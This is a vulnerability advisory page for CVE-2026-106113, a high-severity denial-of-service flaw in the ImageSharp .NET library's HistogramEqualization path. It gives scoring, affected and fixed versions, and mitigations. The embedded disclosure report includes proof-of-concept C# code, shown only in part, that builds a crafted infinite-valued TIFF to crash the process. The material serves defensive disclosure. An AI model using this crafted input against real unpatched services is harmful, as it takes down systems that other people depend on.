VulnerabilityPublished 7 Oct 2026Updated 26 Oct 2026

CVE-2026-106113: ImageSharp · HistogramEqualization uses an unvalidated luminance as an unchecked histogram index

Affects SixLabors.ImageSharpSource GCVE Database

Authoritative record:CVE-2026-106113· High 7.5

Not known to be exploited · CVSS 7.5 High : upgrade to 3.2.0 soon.

Data as of 26 Oct 2026, 17:16 UTC

CVSS 3.1 base score

7.5High

How severe the flaw is on the 0–10 CVSS scale.

EPSS: 0.3% chance of exploitation in 30 days – higher than 32% of CVEsExploit Prediction Scoring System: the likelihood attackers will use this flaw soon.
Patch: Available – fixed in 3.2.0, 4.1.2

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Attack Vector: Network
Attack Complexity: Low
Privileges Required: None
User Interaction: None
Scope: Unchanged
Confidentiality: None
Integrity: None
Availability: High

Bold values are the worst case: easiest to exploit or largest impact.

Attack Vector: Network: The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed, up to and including the entire Internet. Such a vulnerability is often termed 'remotely exploitable' and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers).
Attack Complexity: Low: Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.
Privileges Required: None: The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files to carry out an attack.
User Interaction: None: The vulnerable system can be exploited without any interaction from any user.
Scope: Unchanged: An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.
Confidentiality: None: There is no loss of confidentiality within the impacted component.
Integrity: None: There is no loss of integrity within the impacted component.
Availability: High: There is total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Definitions: FIRST CVSS v3.1 specification.

Exploitation evidence

Disclosed: evidence found.
CVE published 6 Oct 2026
Detectable: no evidence on record.
No public nuclei template indexed
Weaponised: no evidence on record.
No public exploit code indexed in Metasploit or Exploit-DB
Exploited in the wildExploited: no evidence on record.
Not in CISA KEV and no source reports exploitation
Observed by OffSeq MirageSeen by Mirage: no evidence on record.
No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

Disclosed: The CVE record is public on cve.org. Its publication is t = 0.
Detectable: A public nuclei template can find exposed instances, for defenders and attackers alike.
Weaponised: Public exploit code exists in Metasploit or Exploit-DB, or CISA SSVC or the CVSS exploit maturity reports a public proof of concept.
Exploited in the wild: CISA KEV lists it, CISA SSVC rates exploitation active, or a source reports attacks.
Observed by OffSeq Mirage: OffSeq Mirage honeypot sensors recorded attack traffic for this CVE, or found exposed hosts without attack traffic.

Moments are spaced evenly, not to scale; a dashed line marks a gap of six months or more. Deltas count from t = 0. Sources that give only a date (CISA KEV, Exploit-DB, or a time of exactly 00:00Z) read “same day” rather than hours. Metasploit modules carry the flaw’s disclosure date, not their release date, and nuclei templates carry no date, so both appear above but not on the timeline.

What to do

Upgrade SixLabors.ImageSharp to 3.2.0; SixLabors.ImageSharp to 4.1.2.

Affected software

Product	Affected	Fixed in
NuGetSixLabors.ImageSharp	Affected >=2.0.0 <3.2.0	Fixed in 3.2.0
NuGetSixLabors.ImageSharp	Affected >=4.0.0 <4.1.2	Fixed in 4.1.2

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary `SixLabors.ImageSharp` can terminate a process when an application decodes an attacker-supplied 32-bit floating-point TIFF as `Image<HalfVector4>` and applies `HistogramEqualization()`. An IEEE positive-infinity TIFF sample reaches a non-finite or otherwise out-of-range `HalfVector4` component, depending on the release. The histogram equalization path derives a luminance-based histogram index without validating that result, reaching an unsafe out-of-range access. This report covers `HistogramEqualization` only. It does not claim Adaptive Histogram Equalization or AutoLevel behavior. ### Affected package and versions - Package: `SixLabors.ImageSharp` (NuGet) - Affected range: `>= 2.0.0, <= 4.1.1` - Commit `0815358f9202a78bc7f3b83e19282dc3654b500f` corresponds to release **v4.1.1**. TIFF decoding first shipped in v2.0.0; v1.0.4 has no TIFF decoder. The unsafe luminance-derived histogram index is present from v2.0.0 through v4.1.1. The positive-infinity TIFF PoC terminates published 2.0.0, 3.1.12, 4.0.0, and 4.1.1 with `AccessViolationException`, while the finite `0.5` control completes on each tested release. ### Details [`ColorNumerics.GetBT709Luminance`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Common/Helpers/ColorNumerics.cs#L24-L30) can produce a luminance that does not map to a valid histogram index. [`GrayscaleLevelsRowOperation.Invoke`](https://github.com/SixLabors/ImageSharp/blob/0815358f9202a78bc7f3b83e19282dc3654b500f/src/ImageSharp/Processing/Processors/Normalization/GrayscaleLevelsRowOperation%7BTPixel%7D.cs#L47-L62) then uses that result as an unchecked `Unsafe.Add` offset into the histogram. The reproduction reaches this code through the public `HistogramEqualization()` extension. It does not test or claim the Adaptive Histogram Equalization or `AutoLevel` paths. ### Tested environment The reproduction uses the DLL in the published NuGet 4.1.1 package: ```text SixLabors.ImageSharp.dll SHA-256: c50231b527153cd9103acf03536a743958b3d892cc98cf9c05c9bcedef63ba0f Runtime: .NET 8.0.30 (linux-arm64) SDK: 8.0.424 OS: Debian GNU/Linux 12 (bookworm), Docker ``` ### Reproduction Build the supplied Dockerfile and run the exploit. The harness creates a valid 8x1 uncompressed, 32-bit IEEE floating-point TIFF whose samples are positive infinity, decodes it through the public API, and invokes `HistogramEqualization()`. Observed result: ```text mode=exploit tiffBytes=166 sample=Infinity decoded=8x1 pixel=<Infinity, Infinity, Infinity, 1> Fatal error. System.AccessViolationException: Attempted to read or write protected memory. ... at SixLabors.ImageSharp.Processing.Processors.Normalization.GrayscaleLevelsRowOperation`1.Invoke ... at SixLabors.ImageSharp.Processing.HistogramEqualizationExtensions.HistogramEqualization Docker exit status: 133 ``` The control is identical except samples are `0.5`: ```text mode=control tiffBytes=166 sample=0.5 decoded=8x1 pixel=<0.5, 0.5, 0.5, 1> completed Docker exit status: 0 ``` When the same exploit binary was invoked through a shell inside the container, the shell printed `Aborted` and reported status 134. The direct `docker run` result above is the result for the supplied Docker commands. No active exploitation is known. ### Complete PoC files Program.cs: ```csharp using SixLabors.ImageSharp; using SixLabors.ImageSharp.PixelFormats; using SixLabors.ImageSharp.Processing; static class Program { private static void AddEntry(List<byte> ifd, ushort tag, ushort type, uint count, uint value) { ifd.AddRange(BitConverter.GetBytes(tag)); ifd.AddRange(BitConverter.GetBytes(type)); ifd.AddRange(BitConverter.GetBytes(count)); ifd.AddRange(BitConverter.GetBytes(value)); } // Valid, uncompressed 8x1 grayscale TIFF containing 32-bit IEEE float samples. private static byte[] BuildTiff(float sample) { const int width = 8; const int entries = 10; const int ifdOffset = 8; const int pixelOffset = ifdOffset + 2 + (entries * 12) + 4; List<byte> file = [0x49, 0x49, 0x2A, 0x00, 0x08, 0x00, 0x00, 0x00]; List<byte> ifd = []; ifd.AddRange(BitConverter.GetBytes((ushort)entries)); const ushort Short = 3, Long = 4; AddEntry(ifd, 256, Long, 1, width); // ImageWidth AddEntry(ifd, 257, Long, 1, 1); // ImageLength AddEntry(ifd, 258, Short, 1, 32); // BitsPerSample AddEntry(ifd, 259, Short, 1, 1); // Compression = none AddEntry(ifd, 262, Short, 1, 1); // Photometric = BlackIsZero AddEntry(ifd, 273, Long, 1, pixelOffset); // StripOffsets AddEntry(ifd, 277, Short, 1, 1); // SamplesPerPixel AddEntry(ifd, 278, Long, 1, 1); // RowsPerStrip AddEntry(ifd, 279, Long, 1, width * 4); // StripByteCounts AddEntry(ifd,

CWE-787Out-of-bounds Write (opens in a new tab)
Base weaknessLikelihood of exploit: HighCWE Top 25 (2025): #5
The product writes data past the end, or before the beginning, of the intended buffer.
Requirements · Language Selection
Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Architecture and Design · Libraries or Frameworks
Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
Operation · Build and Compilation · Environment Hardening
Use automatic buffer overflow detection mechanisms that are offered by certain compilers or compiler extensions. Examples include: the Microsoft Visual Studio /GS flag, Fedora/Red Hat FORTIFY_SOURCE GCC flag, StackGuard, and ProPolice, which provide various mechanisms including canary-based detection and range/index…
OWASP Cheat Sheets
XML Security (opens in a new tab)
Mass Assignment (opens in a new tab)
OWASP ASVS 4.0.3
V13.3.1 (opens in a new tab)
V5.1.4 (opens in a new tab)
V5.1.3 (opens in a new tab)
From MITRE CWE, MITRE CAPEC and OWASP (Top 10, OpenCRE).

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Affected software

Description

WeaknessesCWE-787

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